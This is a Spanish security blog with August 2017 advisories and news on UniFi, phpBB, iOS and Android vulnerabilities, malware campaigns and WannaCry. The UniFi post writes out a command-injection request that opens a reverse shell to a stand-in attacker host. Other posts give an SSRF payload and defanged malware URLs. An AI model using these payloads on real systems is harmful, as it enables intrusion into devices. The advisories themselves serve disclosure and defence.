jueves, 31 de agosto de 2017

Command Injection en Ubiquiti Networks UniFi Cloud Key

Ubiquiti Networks desarrolla tecnologías de redes de alto rendimiento para empresas y proveedores de servicios. La plataforma se enfoca en ofrecer soluciones avanzadas y fáciles de implementar.


Existe una inyección de comandos a través de la cabecera de una petición GET en la versión 0.6.1 de UniFi Cloud Key. Esta vulnerabilidad puede ser explotada cuando la interfaz de Cloud Key está expuesta a Internet y un atacante tenga las credenciales.

El código responsable de esta vulnerabilidad es:

function is_unifi_running() {
   if (!isset($_SERVER['HTTP_HOST'])) {
           $c_host = $_SERVER['SERVER_ADDR'];
   } else {
           $c_host = $_SERVER['HTTP_HOST'];
   }
   $unifi_href = 'http://' . $c_host . ':8080/status';
   exec(CMD_CURL . $unifi_href, $out, $rc);
   if ($rc == 0) {
       return true;
   }
   return false;
}


La variable $c_host no está filtrada y esto hace posible la inyección de código. La siguiente petición GET puede ser usada para abrir una reverse-shell.

GET /api/status HTTP/1.1
Host: SERVER_ADDRESS;busybox nc ATTACK_ADDRESS 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Referer: https://SYSTEM_ADDRESS/login
Cookie: CKSESSIONID=<Session-ID>
Connection: close

El atacante sólo tiene que ejecutar netcat con los siguientes parámetros

$ nc -lvp 8999

Para arreglar esta vulnerabilidad se recomienda actualizar a la versión 0.6.4 o superiores.


Mario Parra
mparra@hispasec.com

Más información:

UBIQUITI NETWORKS UNIFI CLOUD KEY AUTHENTICATED COMMAND INJECTION
https://www.sec-consult.com/en/blog/advisories/ubiquiti-networks-unifi-cloud-key-authenticated-command-injection/index.html

miércoles, 30 de agosto de 2017

Cómo se hackean las cuentas de Twitter como la de FC Barcelona y Real Madrid

Recientemente, el grupo 'Our mine' (no la empresa, como la citan algunos medios) ha vulnerado la seguridad de las cuentas oficiales de los equipos de fútbol Real Madrid y FC Barcelona.

Para ponernos en antecedentes, el pasado 23 de Septiembre podía leerse en la cuenta del FC Barcelona un tweet anunciando el fichaje de Di María. Posteriormente el grupo ‘Our Mine’, mediante otro tweet, reclamaba la autoría del hackeo y más tarde, en un tercer tweet, hacía un llamamiento a crear el hashtag #FCBHack. En el caso del Real Madrid fue bastante similar: además de su tweet promocional haciendo un llamamiento a su cartera de servicios, el grupo publicó un tweet anunciando el fichaje de Leo Messi.




Cuando leemos en los medios tradicionales sobre tipo de hackeos, están acompañados de titulares como “Hackeada la cuenta del Real Madrid para anunciar el fichaje de Messi” o “‘Hackean’ las redes del Barça y anuncian la llegada de Di María”. El usuario medio que lee este tipo de noticias tiende a pensar que un grupo de hackers habrá llevado a cabo algún ataque o bien contra la empresa Twitter o directamente contra el Real Madrid. El objetivo de este post es aclarar cómo se suelen producir la mayoría de estas intrusiones de seguridad.

No se conoce de manera oficial cuál fue el vector de entrada de los atacantes en estos dos casos, pero según nuestra experiencia y conociendo algunos casos de primera mano, podemos decir que la gran mayoría se produce en alguno de estos dos escenarios:


Ingeniería social

Es común en este tipo de ataques hacerse con el control de la cuenta mediante ataques de ingeniería social que tengan como objetivo al equipo de social media. En estos casos, los atacantes se suelen hacer con el control total de la cuenta. Como en estos casos solo ha habido publicación de tweets nos hace pensar que no haya sido la técnica utilizada.



Relación de password robadas

Esto ocurre cuando algún servicio web es vulnerado y los atacantes tienen acceso a una base de datos que relaciona email y password. Este listado es comprobado contra Twitter, dando como resultado una horda de usuarios que estarán bajo el control de un atacante y las usará para seguir a la gente que pague por comprar seguidores, publicar tweet promocionales, etc..



Acceso a alguna de aplicaciones conectadas

Hoy en día cualquier usuario de redes sociales cuenta con multitud de aplicaciones con determinados permisos sobre su cuenta, y más aún en este tipo de cuentas que son gestionadas por equipos que se encargan de la promoción de las mismas. Esta política facilita enormemente el control de la seguridad, ya que mediante la interfaz somos capaces de tener una visión de todos los permisos que hemos otorgado. Pero por otro lado, si algunas de estas aplicaciones tuviese un problema de seguridad podría afectarnos.

Según alguno de los casos que hemos gestionado desde Hispasec, aplicaciones de terceros que han sido vulneradas han servido como puerta de entrada para atacantes que han utilizado los permisos de publicación para hacer eco de sus esloganes, troleos, o promoción (como en este caso) por lo que nos hace pensar que esta hipótesis sea la que tenga más fuerza.

Para poder evitar estos desagradables escenarios, recomendamos un control sobre el listado de aplicaciones, reduciendo el listado a las imprescindibles y no dando más permisos que los estrictamente necesarios. Manteneos alerta y rehuir de las aplicaciones extrañas sobre todo cuando soliciten más permisos de los que necesitan para llevar a cabo su función.

Fernando Ramírez
framirez@hispasec.com

martes, 29 de agosto de 2017

Vulnerabilidad SSRF en phpBB


phpBB es una solución software libre y gratuita para crear foros en Internet. Se trata de uno de los sistemas más usados gracias a sus opciones de personalización y su rápido despliegue. Se ha encontrado una vulnerabilidad SSRF Server Side Request Forgery en esta plataforma.




Versión vulnerable: 3.2.0

Un atacante puede realizar un escaneo de puertos y atacar estos servicios a través de la función “Remote Avatar” de la aplicación web de phpBB. Esta vulnerabilidad puede ser explotada por un atacante con una cuenta registrada sin necesidad de permisos de administrador.

URL: http://$DOMAIN/ucp.php?i=ucp_profile&mode=avatar
METHOD: POST
PARAMETER: avatar_remote_url
PAYLOAD : http://$DOMAIN:$PORT/x.jpg

La vulnerabilidad ha sido probada en la versión 3.2.0, se recomienda actualizar a la versión 3.2.1, que soluciona este fallo.

Mario Parra
mparra@hispasec.com

Más información:
phpBB 3.2.1 Release - Please Update
https://www.phpbb.com/community/viewtopic.php?f=14&t=2430926

lunes, 28 de agosto de 2017

ziVA: un exploit que permite elevar privilegios en dispositivos iOS

El analista de seguridad Adam Donenfeld (@doadam) del grupo Zimperium ha publicado recientemente un exploit que afecta a los dispositivos iPhone con versiones de iOS 10.3.1 y anteriores. El exploit permite elevar privilegios a root y hacer jailbreak del dispositivo.



El exploit aprovecha diversas vulnerabilidades de corrupción de memoria que afectan a las extensiones del kernel 'AppleAVE.kext' y 'IOSurface.kext':

Errores de corrupción de memoria en AVEVideoEncoder:


  • CVE-2017-6989: Permitiría borrar las referencias a los objetos de tipo IOSurface en el kernel.
  • CVE-2017-6994: Revela información sobre las direcciones de memoria de los objetos IOSurface en el kernel.
  • CVE-2017-6995: Permite apuntar a un puntero arbitrario como si se tratara de un objeto IOSurface válido.
  • CVE-2017-6996: Permite liberar cualquier bloque de memoria de 0x28.
  • CVE-2017-6997: Permite liberar cualquier puntero de 0x28.
  • CVE-2017-6998: Confusión de tipos que permitiría secuestrar una ejecución de código en el kernel.
  • CVE-2017-6999: Permitiría poner a null un puntero controlado por el usuario.

Condición de carrera en IOSurface:


  • CVE-2017-6979: Condición de carrera que permitiría ejecutar código arbitrario en el contexto del kernel.

Ha sido publicada una prueba de concepto que hace uso de estos fallos para escapar del sandbox y ejecutar código arbitrario: https://github.com/doadam/ziVA

Estas vulnerabilidades ya fueron parcheadas en la versión iOS 10.3.2 publicada en mayo de este año. Por lo que se recomienda actualizar en caso de que no se haya hecho todavía.


Francisco Salido

Más información

Boletín oficial de Apple
https://support.apple.com/en-us/HT207798

Código fuente del exploit
https://github.com/doadam/ziVA

domingo, 27 de agosto de 2017

Un vistazo a las novedades de seguridad en Android Oreo

Coincidiendo con el eclipse solar visible desde Estados Unidos, el pasado 21 de agosto Google lanzó la nueva versión de su sistema operativo móvil Android, en este caso con el nombre de versión Oreo. 




La representación de Android Oreo como el superheroe que protege al resto de androides de las amenazas externas no es para nada casual. Esta nueva versión (la 8.0 en numeración) incluye varias mejoras en cuanto a la seguridad de las aplicaciones.

La primera de ellas es que Google Play Protect viene incluida de fábrica. Este sistema, que fue presentado en mayo durante el evento Google I/O, es una capa de seguridad adicional que engloba  diversas medidas que ya se estaban implementando (como Verify Apps o Safe Browsing) e incluye algunas nuevas. Por ejemplo, el escaneo de aplicaciones utiliza datos obtenidos mediante Machine Learning, comparandolos con las aplicaciones instaladas y notificando en caso de detectar comportamiento malicioso.

El cambio que más puede afectar al ecosistema Android (y no solo en cuanto a seguridad) es la eliminación de la famosa opción "Orígenes desconocidos" para permitir instalaciones desde fuentes externas a Google Play. Ésta da paso a un sistema más granular que otorga permisos de instalación por aplicación. Con este cambio, se elimina la "barra libre" para cualquier origen una vez se activaba, garantizando que solo las aplicaciones permitidas pueden instalar a su vez aplicaciones.


La nueva funcionalidad "Instalar otras aplicaciones" permite un control granular de los permisos de instalación desde fuentes externas.

Otra mejora, esta vez en cuanto al uso de datos privados, es la integración de la API Autofill. Hasta ahora, los sistemas de gestión de contraseñas, como LastPass, tenían que pedir permisos del sistema para poder interactuar con los formularios. Haciendo uso de esta API, esta interacción se facilita y se extiende a todo el sistema, incluyendo tarjetas de crédito, direcciones postales y otros tipos de datos privados, facilitando el uso de este tipo de aplicaciones.

Una de las nuevas características que quizá estén pasando más desapercibidas es la implementación del Project Treble. Esta funcionalidad mueve las capas de abstracción de hardware (HALs) a sus propios procesos, fuera del proceso que las está llamando. De esta manera se asegura el aislamiento entre los procesos del sistema operativo y el hardware, dificultando que vulnerabilidades explotadas en unos se extiendan hacia el otro. 






Otra ventaja de Project Treble es que desacopla la actualización de software controlador del sistema operativo, permitiendo publicar actualizaciones de manera independiente y evitando tener que hacer nuevas versiones para cada actualización de Android.

Cambiando a la seguridad física, la nueva funcionalidad Find my device permite la localización, desbloqueo y borrado de un dispositivo en caso de robo o perdida, de manera similar a Find my iPhone de iOS.

Por último, se ha eliminado la compatibilidad con SSLv3 y no se renegocia la versión de protocolo TLS con servidores que tengan una mala implementación de la renegociación.


Francisco López
flopez@hispasec.com



Más información:
Android Oreo
https://www.android.com/versions/oreo-8-0/

Android 8.0 Oreo Released – 11 New Features That Make Android Even Better
http://thehackernews.com/2017/08/android-8-oreo.html

sábado, 26 de agosto de 2017

Creando ransomware sin escribir una línea de código

Investigadores de seguridad de Symantec han detectado un incremento en la aparición de aplicaciones Android catalogadas como TDK (Trojan Development Kits, o kits de desarrollo de troyanos) que permiten a cualquier usuario crear malware para Android sin escribir una sola linea de código.



Cómo crear tu propio ransomware Android



Las opciones disponibles una vez se ejecuta la aplicación, y que sirven para configurar el malware, incluyen:


  • Configuración de la clave para desbloquear el dispositivo.
  • El mensaje que se muestra en la pantalla de bloqueo del malware.
  • El icono del malware.
  • Tipo de animación que aparece en el smartphone una vez infectado.
  • Las operaciones matemáticas usadas para hacer el código aleatorio.

Por ejemplo, el conocido ransomware Lockdroid es capaz de cambiar el PIN del dispositivo, bloquearlo e incluso hacerle un reseteo de fábrica si así lo desea.

Una vez creado, a través de un chat con el desarrollador, incluido en la plataforma, se hace un único pago por el servicio. Tras el ingreso de la cantidad acordada, el malware se genera y descarga en el almacenamiento externo del teléfono. La manera en la que se distribuye este malware y a quienes depende completamente del usuario, decidiendo este los estragos que quiere provocar.



Daniel Púa


Más información:

Mobile malware factories: Android apps for creating ransomware

viernes, 25 de agosto de 2017

WannaCry: La amarga letanía de los servidores samba

Actualmente, el término “viernes negro” se asocia a nuestras ansias consumistas. Un día diseñado para el consumidor, en el que puede liberar esa fuerza inhumana que impulsa a ciertas personas a volatilizar cualquier atisbo de ahorro. Pero esto no es así. Originalmente, un viernes negro era un día fatídico, señalado así por la ocurrencia de un acto luctuoso, o incluso un desastre financiero (no, el crack del 29 cayó en jueves), que vendría a ser recordado así en años venideros.

El viernes 12 de mayo fue un verdadero “viernes negro” para muchísimos administradores de sistemas y personal de seguridad. Esa mañana, con un mecanismo clásico y nada original, inaugurado por el gusano de Morris hace 30 años, comenzó a replicarse WannaCry. Fue tal el latigazo mediático que hasta las cabeceras de los noticieros se llenaron de palabros incomprensibles para el espectador medio. El resto es historia, reciente y conocida por todos, sufridas en sus carnes por algunos compañeros de oficio.

Nunca se supo con absoluta certeza si el arponazo original fue una campaña de phishing dirigida (spear phishing) o servicios samba expuestos públicamente. La primera opción, desde luego, fue perdiendo fuelle conforme pasaba el tiempo y no arrojaba resultados conclusivos. El supuesto correo original no aparecía por ninguna parte, sin embargo, a la luz del hecho de que un gran número de corporaciones y grandes empresas comenzarán a activar sus protocolos de contención, alguna que otra voz se alzó teorizando acerca de un posible uso de un zeroday. El muy efectivo ETERNALBLUE. Resultó curioso, porque el vector característico del ransomware es el correo, a la caza del usuario desprevenido, y nadie se esperaba un RCE con replicación a la Conficker.


Un fallo, dos fallos, tres fallos

No dudamos en que se tomaron las medidas adecuadas, se actualizaron protocolos y se endurecieron políticas de seguridad (recordemos las lecciones aprendidas por Google tras la operación Aurora). Pero sí o sí el fallo, bastante grave, estaba allí. No nos estamos refiriendo a la exposición de un servicio sin parchear, que ya de por sí otorgaría la suficiente fuerza para arquear las cejas, nos referimos a la muy cuestionable idea de exponer un servicio que no es (o no debería serlo) a priori vital para la organización.

Si pensamos en cómo están estructuradas algunas redes internas, en cómo algunos clientes conectan "a las bravas" con carpetas compartidas en una topografía plana y seguimos tiramos del hilo hasta alcanzar un servidor samba escuchando hacia Internet, probablemente la segunda opción de la que hablábamos no suene tan alocada. Toda una combinación de factores inocentes por sí mismos pero letales cuando entran en combinación. Un zombi da con el servidor que "teníamos por ahí perdido", infecta, nuestro servidor se vuelve contra nosotros, redes planas, equipos sin parchear y...París era una fiesta.

¿Si una infección por ransomware vía ingeniería social nos está evidenciando un nivel de concienciación deficiente, qué nos está enseñando un ataque como el de WannaCry? En primer lugar, dejar un servicio probablemente no vital escuchando hacia Internet. No, no valen las excusas de que era necesario, puesto que si lo era no estaba debidamente parcheado, filtrado o controlado. En segundo lugar, no fragmentar adecuadamente un servicio de la DMZ con la red interna donde se conectan los empleados. En tercer y último lugar, es evidente que las estaciones de trabajo tampoco estaban parcheadas. Podríamos seguir tirando del hilo: ausencia de IDS, actualización de las reglas del mismo, etc, pero creemos que con esto es suficiente.

Realmente, deberíamos sopesar si en la clásica ecuación seguridad-flexibilidad nos estamos dejando llevar por las quejas de los usuarios o los ajustadísimos presupuestos (talla 34) de los departamentos de seguridad no dejan margen para las sutilezas. El "todo deprisa y corriendo" es una fortuna caprichosa que golpea en el momento más inesperado. Mientras el truco funciona la seguridad siempre parece un desperdicio de recursos, pero cuando los planetas se alinean y los sambas susurran entre ellos...nos encontramos a milímetros de la tragedia y entonces, durante un breve espacio de tiempo, la seguridad nos parece atractiva, elegante, necesaria, confortable y ¡chas!, por arte de magia, ya no hay fondo en el bolsillo. Eso sí, el hechizo dura poco, muy poco.

Por cierto, en España estamos así de sambas:




Y muchos de ellos, cuando susurran, nos cuentan al oído esto:



David García


Más información

Gusano Morris

Un ransomware ataca a múltiples compañías

WannaCry y las lecciones que nunca aprendemos









jueves, 24 de agosto de 2017

Variantes de ZLoader afectan a entidades españolas

En ocasiones anteriores hemos podido observar cómo, a través de distintos correos electrónicos, los atacantes intentaban provocar que nos descargaramos archivos para infectar nuestros dispositivos. Las últimas tendencias, apuntaban a que sería el ransomware lo que más suscitaria el interés de los atacantes. Sin embargo, en esta ocasión nos encontramos ante un troyano bancario.


Recibimos un correo con el típico modus operandi de la factura pendiente. Esta incluye un documento de de Microsoft Office. Concretamente para esta oleada han predominado los documentos XLS.

Una vez abierto, nos encontramos con un contenido similar al que veremos a continuación:

Captura de pantalla del documento malicioso

El documento nos solicita habilitar el contenido. Lo que pretenden es que la victima habilite las macros para, mientras ojea el documento, se ejecute código malicioso. 

Captura del codigo Powershell ejecutado

Este código, ofuscado para evitar que sea sencillo de analizar, se encarga de realizar descargas de distintos sitios web. En caso de que uno de los dos sitios web no responda hará uso del siguiente para continuar con su ataque. 

hxxp://forminore.co/game-for-windows/keys.exe
hxxp://forstraus.co/dfhguserhivesbvhio-84u84jdfkvkdf/utilite.exe

Estos dos archivos .exe corresponden a un Terdot/ZLoader, un troyano bancario que roba datos de los clientes de las entidades incluidas en su configuración. Quedan almacenados en el directorio %APPDATA% del usuario, lugar donde rara vez mira el usuario común. 

Algunos de los webinjects del troyano bancario.

La configuración del troyano cuenta con inyecciones de código para distintas entidades españolas, entre ellas:
  • Santander España
  • BMN
  • Abanca 
  • Ruralvia
  • *.de (Entidades alemanas)
En el escaneo inicial, únicamente 8 motores antivirus detectaban la amenaza. Un par de días después, más de 40 motores lo detectaban. 

Detecciones del troyano en VirusTotal.

La recomendación estrella en este tipo de ocasiones, a parte de contar con una base de datos de virus actualizada, es evitar habilitar las macros en documentos de este tipo. Si no estamos seguros de la procedencia del archivo, es preferible no abrirlo. Si procede de alguien conocido, siempre puedes asegurarte preguntando para evitar este tipo de infecciones. 

Fernando Díaz
fdiaz@hispasec.com

miércoles, 23 de agosto de 2017

Nuevos kits de explotación infectan equipos para minar criptomonedas

Tras la caída de Angler y Nuclear, dos de los más conocidos kits de explotación de los últimos tiempos, se ha percibido una disminución del uso de este tipo de herramientas. A pesar de esto, todavía siguen apareciendo campañas de malvertising que utilizan este tipo de artillería para comprometer la seguridad de tantos equipos como sea posible.

Recientemente se han detectado dos kits utilizados en campañas de malvertising cuyo objetivo es implantar malware de minado de criptomonedas en los equipos infectados.

Se trata de Disdain y Neptune Exploit Kit (antiguamente "Terror Exploit Kit"). Ambos utilizan vulnerabilidades contra las aplicaciones más habituales en este tipo de ataques: Internet Explorer y Adobe Flash.

Estos kits se "alquilan" en el mercado negro por tarifas que oscilan entre los 80 y los 600 dólares al día.

Pricing de Neptune Exploit Kit (Fuente: https://malwarebreakdown.com)
El método utilizado por los atacantes consiste en redirigir a las víctimas desde una publicidad maliciosa a una landing que aloja el kit que intentará infectar a las víctimas.

Panel de control de Disdain Exploit Kit


Vulnerabilidades explotadas

Neptune explota las siguientes vulnerabilidades:

  • CVE-2014-6332 (MS Windows Server 2003, Vista, Server 2008, 7, 8, 8.1, Server 2012)
  • CVE-2015-2419 (JScript 9 en Microsoft Internet Explorer 10 y 11)
  • CVE-2015-6086 (Microsoft Internet Explorer 9, 10 y 11)
  • CVE-2015-7645 (Adobe Flash Player 18.x hasta 18.0.0.252 y 19.x hasta 19.0.0.207 en Windows)
  • CVE-2016-0034 (Microsoft Silverlight 5)
  • CVE-2016-0189 (Microsoft JScript 5.8, VBScript 5.7 y 5.8)
  • CVE-2016-4117 (Adobe Flash Player 21.0.0.226 y anteriores)
  • CVE-2016-7200 (Motor de JavaScript Chakra en Microsoft Edge)
  • CVE-2016-7201 (Motor de JavaScript Chakra en Microsoft Edge)
  • CVE-2017-0037 (Microsoft Internet Explorer 11 y Microsoft Edge)
  • CVE-2017-2995 (Adobe Flash Player 24.0.0.194 y anteriores)
  • CVE-2017-3289 (Java SE 7u121, Java SE 8u111, Java SE 8u112)
  • CVE-2017-3823 (Cisco WebEx browser)

Disdain por su parte utiliza las siguientes vulnerabilidades:
  • CVE-2016-0189 (Internet Explorer 9)
  • CVE-2015-2419 (Internet Explorer 10 y 11)
  • CVE-2013-2551 (Internet Explorer 6, 7, 8, 9 y 10)
  • CVE-2017-0037 (Internet Explorer 10 y 11)
  • CVE-2017-0059 (Internet Explorer 9, 10 y 11)
Estas vulnerabilidades se encuentran parcheadas por lo que se recomienda actualizar a las últimas versiones disponibles.


Francisco Salido

Más información:


Publicación de Trend Micro sobre Disdain



martes, 22 de agosto de 2017

Chip-in-the-middle, o cómo atacar un dispositivo móvil desde dentro

En un estudio convenientemente titulado "Shattered trust" ("Confianza hecha añicos") investigadores de la Universidad Ben-Gurión del Néguev han analizado la posibilidad de instalar componentes maliciosos en las pantallas de teléfonos móviles. 


Configuración final del ataque


La motivación principal para explorar este vector de ataque es que, a diferencia de otros componentes externos del dispositivo, se asume que el código de los controladores internos es seguro y su autenticidad apenas es probada más allá de algunas pruebas de integridad. 

Teniendo en cuenta que las pantallas, como otras piezas de reemplazo no originales, son fabricadas por terceras partes ajenas al fabricante de teléfono, su bajo coste (las hay por menos de 10 dolares), la facilidad de producción en masa, y, por qué no decirlo, la extraña facilidad que tenemos para romperlas, este tipo de ataque es, en palabras de los investigadores, posible y práctico.


Diagrama de la prueba de concepto


Un punto importante es que en el desarrollo se supone cierto que el técnico que reemplaza la pantalla no es un actor malicioso, es decir, simplemente cambia una pantalla defectuosa por la nueva tal como le ha sido distribuida.

Ataque "chip-in-the-middle"

El estudio ha combinado dos técnicas que difieren en enfoque. En primer lugar, instalaron un micro-controlador haciendo uso de los mismo pines usados en la comunicación entre la placa controladora de pulsaciones y la placa principal, en lo que han llamado un ataque "chip-in-the-middle". El posicionamiento de este micro-controlador le permite tanto espiar las pulsaciones del usuario como inyectar pulsaciones propias, controlando incluso la interacción con el teclado.

Hasta aquí el ataque ya cuenta con bastante gravedad, pero es posible llevarlo más allá. Además, el micro-controlador puede ser aprovechado para explotar vulnerabilidades en el sistema operativo. En este caso, se explotó un desbordamiento de buffer en el código del driver del controlador de pantalla, situado en el mismo núcleo de Android, que permitió la ejecución de varios payloads arbitrarios.






Combinando ambas técnicas, los investigadores pudieron comprometer la identidad del usuario y tomar control sobre las acciones y los datos del dispositivo. Estos resultados han sido presentados la semana pasada en la conferencia WOOT'17 celebrada en Vancuver, Canada.

En definitiva, este estudio intenta hacer hincapié en la poca atención que reciben las vulnerabilidades situadas a bajo nivel, como en aquellas en los drivers del sistema. Pero sobre todo pone el foco no solo en las falsificaciones, sino también en otros accesorios y componentes no originales. Aunque su bajo precio y su conveniencia los hacen muy populares, sus componentes internos son en muchas ocasiones de baja calidad y, lo que es peor, quedan fuera de la cadena de confianza del fabricante, lo que los hace vulnerables a la instalación de componentes maliciosos.


Francisco López
flopez@hispasec.com

Más información:

Shattered Trust: When Replacement Smartphone Components Attack [PDF]

https://iss.oy.ne.ro/Shattered.pdf

Canal de Youtube con demostraciones adicionales:
https://www.youtube.com/channel/UChyrYOp3neDyY0vnYj1c1RQ